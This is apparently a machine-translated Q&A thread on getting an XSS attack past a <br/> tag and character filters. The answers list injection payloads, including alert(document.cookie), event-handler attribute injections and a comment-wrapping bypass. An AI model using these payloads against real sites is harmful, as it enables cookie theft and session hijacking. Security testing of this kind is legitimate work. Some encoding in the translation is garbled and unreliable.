XSS带<script>后跟<br/>

时间:2016-09-20 07:20:54

标签: javascript html xss persistent

如何使用这些限制执行XSS攻击:

&#xA;&#xA;

&#xD;&#xA;
&#xD;&#xA;
  [input 1]&lt; br /&gt; [输入2]  
&#xD;&#xA;
&#xD;&#xA;
&#xD;&#xA;

&# xA;&#xA;

输入1具有以下限制: - 仅10个字符 - 未清除

&#xA;&#xA;

输入2具有以下限制: - “&lt;” ,“>”,“&amp;”已消毒 - 没有其他限制

&#xA;&#xA;

此外,网页允许持久输入,但是一旦我打开标签,我就无法执行其他输入。

& #xA;&#xA;

我试过这样做:

&#xA;&#xA;

&#xD;&#xA;
&#xD;&#xA;
 &lt; script&gt; &LT峰; br /&GT;警报(的document.cookie) 
&#的xD;&#XA;
&#的xD;&#XA;
&#的xD;&#XA;

&#xA;&#xA;

但它似乎不起作用,大概是因为那里有br标签。&#xA;有关我应该如何进行的任何想法?

&#xA;

2 个答案:

答案 0 :(得分:1)

你说:

  

输入1具有以下限制: - 仅10个字符 - 未清除

如果此输入的值刚刚反映在页面中(没有服务器端maxlength的控件),您可以使用浏览器的开发者工具来增加输入的maxlength值然后输入您想要的有效负载。

然后你说:

  

输入2具有以下限制: - “&lt;” ,“&gt;”,“&amp;”消毒 - 没有其他限制

现在它取决于反映此输入值的位置:

如果输入参数值反映在Javascript中,您可以尝试:

";alert('XSS');//
");alert(document.cookie);
; window.open(www.google.com);
';alert(String.fromCharCode(88,83,83))//

如果输入参数值反映在HTML输入标记或其他HTML代码中,您可以尝试:

1? onmouseover=alert("xss"); "
"onload='confirm("test XSS")’
" onload=window.open(www.google.com)
" onload='javascript:alert(1)’

XSS取决于它的反映位置!你也必须使用你的大脑。

答案 1 :(得分:0)

例如:<script>/* <br/> */ alert(1); /*